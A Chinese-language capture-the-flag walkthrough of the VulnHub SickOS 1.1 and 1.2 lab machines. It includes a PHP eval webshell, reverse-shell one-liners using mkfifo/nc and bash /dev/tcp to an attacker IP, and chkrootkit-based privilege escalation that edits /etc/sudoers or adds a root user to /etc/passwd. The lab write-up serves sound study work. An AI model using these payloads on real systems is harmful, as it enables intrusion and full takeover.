SickOS系列
SickOS1.1
靶机下载链接见:
https://download.vulnhub.com/sickos/sick0s1.1.7z
靶机渗透,主机发现
arp-scan -l

端口扫描,80端口是没有开启的,3128端口有一个http服务

访问查看,这个服务呢是一个http代理,版本是3.1.19,8080端口也是一个http代理,但是已经关闭了

既然是代理服务,那么我们进行目录扫描的时候,需要添加上这个代理ip+端口,不然扫不到80端口(80端口没有开启的)

我们使用靶机的代理,这样就能扫描出来了,但是没有扫到后台管理的地址呢

并没有该系统的后台管理地址

浏览器添加代理

访问成功,可以进一步信息收集了

robots文件

这个文件不知道是什么,先放着

这就是wolfcms内容了

漏洞检索

一个一个看,直到第三个漏洞描述

访问,原来是多了一个问号啊

弱口令admin/admin(也可以进行爆破,毕竟没有验证码)

上传一句话木马

添加代理

保存后即可连接成功

反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.209.130 6666 >/tmp/f
创建交互式终端
python -c 'import pty; pty.spawn("/bin/bash")'
得到mysql数据库账号密码
root / john@123

登录进去,用户表只有一个用户admin

继续信息收集,回家,历史命令,SUID文件

计划任务
ls -al /etc/cron*

这些工具基本上都没啥用,这里需要用上之前的数据库密码,来登录这个home下面的用户sickos

有了密码那么就直接sudo,可以看到是所有的东西都可以执行sudo,那么就简单了

直接 sudo -s 保存用户变量,切换超级用户root,也可使用sudo -i使用root的环境变量

SickOS1.2
靶机下载链接见:
https://www.vulnhub.com/entry/sickos-12,144/

端口扫描,目标服务器开启了22端口和80端口

访问80端口

第一时间查看源码,在最下面
<!-- NOTHING IN HERE ///\ -->

目录扫描

有一个指纹信息

漏洞检索,并没有相关版本的漏洞

将网页上的图片下载下来使用strings进行分析

网上搜到一种方法
nmap --script http-methods --script-args http-methods.url-path='/test' 192.168.209.133
该命令使用Nmap的http-methods脚本检测IP为192.168.209.133的主机上Web服务的/test路径支持的HTTP方法。

利用这个PUT方法,可以上传文件至目标服务器,HTTP的请求方式常见的就是GET、POST、DELETE、PUT
其中PUT方法,向服务器上传一个资源,用于创建或完全替换目标资源的内容。如果资源不存在,则创建该资源;如果资源已存在,则进行更新。
DELETE:请求服务器删除由URL所标识的资源。

那么我们尝试上传一个php文件,响应结果为创建成功
<?php @eval($_POST[hack]);?>

这时候回到页面,就会发现一个新的php文件

蚁剑i连接

这里反弹shell试了好多种方式,都不行,看样子是对端口进行了限制,先信息收集吧,用户信息


系统信息收集
uname -a
lsb_release -a

查找某一个用户的文件
find / -user john -type f 2>/dev/null

这里需要一个脚本,检查端口得开启情况(不是已使用的服务),默认使用iptables,但是没有权限

这里需要用上一个脚本来检查端口的开放情况,脚本内容如下
# !/bin/bash
for i in $(seq 1 65535)
do
timeout 1 nc -vz 192.168.209.130 $i && echo "$i open" >> out.txt || echo "$i closed" >> out.txt;
done
echo "all port done"
放到kali中,并开启http服务,并将所有端口的流量都转发到34444端口
python -m http.server 5000
//备份iptables规则
iptables-save > /tmp/firewall.rules
//将所有端口的流量都转发到34444端口
iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 34444
//监听34444端口
nc -lvp 34444
尝试从kali上下载这个文件,下载失败

切换tmp进行下载还是失败

那么就麻烦一点,传到本机上,再传到靶机

这样就能上传成功了

执行脚本

会生成一个txt文件

这里需要多执行几次,否则都是关闭的状态,检测不到结果

kali回显了,说明443端口是放行的

用bash反弹shell(如果反弹不成功,需要清除 iptables 的所有规则)
bash -c 'bash -i >& /dev/tcp/192.168.209.130/443 0>&1'

创建一个交互式终端
python -c 'import pty; pty.spawn("/bin/bash")'
信息收集,我是谁?我在哪?你是谁?

漏洞检索,没有任何的漏洞信息,3.11.0不在这里面的库中

查看有没有gcc编译命令

这里利用cve-2021-4034提权poc打,注意kali开启的端口要是443

提权失败,找其他信息(前面我们已经搜索了一些信息了,这里直接打)

这里是要用到一个命令
ls -al /etc/cron*
这个命令就是说查看所有和计划任务有关的所有内容,发现了一个计划任务,chkrootkit命令

其中
/etc/crontab:这是系统的crontab文件,用于定义系统级别的定时任务。
/etc/cron.d:该目录用于存放系统级别的定时任务配置文件。
/etc/cron.daily :这些脚本用于执行每天需要进行的系统维护任务,如更新软件包列表、清理日志文件、更新数据库等。
/etc/cron.hourly :这些脚本用于执行每小时需要进行的系统维护任务,如清理临时文件、更新缓存等。
/etc/cron.monthly : 这些脚本用于执行每月需要进行的系统维护任务,如备份、报告生成等。
/etc/cron.weekly :包含多个脚本文件,这些脚本每周执行一次。

找到漏洞


We just found a serious vulnerability in the chkrootkit package, which
may allow local attackers to gain root access to a box in certain
configurations (/tmp not mounted noexec).
# 我们刚刚在chkrootkit包中发现了一个严重的漏洞,它可能允许本地攻击者在某些配置(/tmp而不是挂载noexec)下获得root访问权限。
查看利用步骤

大致意思就是说让我们在tmp目录下面创建一个文件叫做 update ,这个update文件呢包含了一些恶意脚本,当我们运行chkrootkit这个工具的时候,这些恶意脚本也会跟着执行,并且是以root身份执行的(它是计划任务,会定时执行)
这里可以利用sudo提权,,将当前用户赋予sudo权限
echo 'echo "www-data ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' >/tmp/update
chmod +x /tmp/update

也可以向 /etc/passwd 追加一个用户,密码为 password@123 (使用openssl将这个密码加盐,不加也可以,得到结果advwtv/9yU5yQ,所以完整的命令如下)
echo 'echo "xiaoyu:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >>/etc/passwd' >/tmp/update

再者利用nc反弹shell(有思路就可以,这里没有成功)
echo '/bin/bash -i >& /dev/tcp/192.168.209.130/443 0>&1' > /tmp/update
如果有错误还请师傅们指正
往期推荐
111
本站小部分内容转载于互联网,如有侵权还请联系















暂无评论内容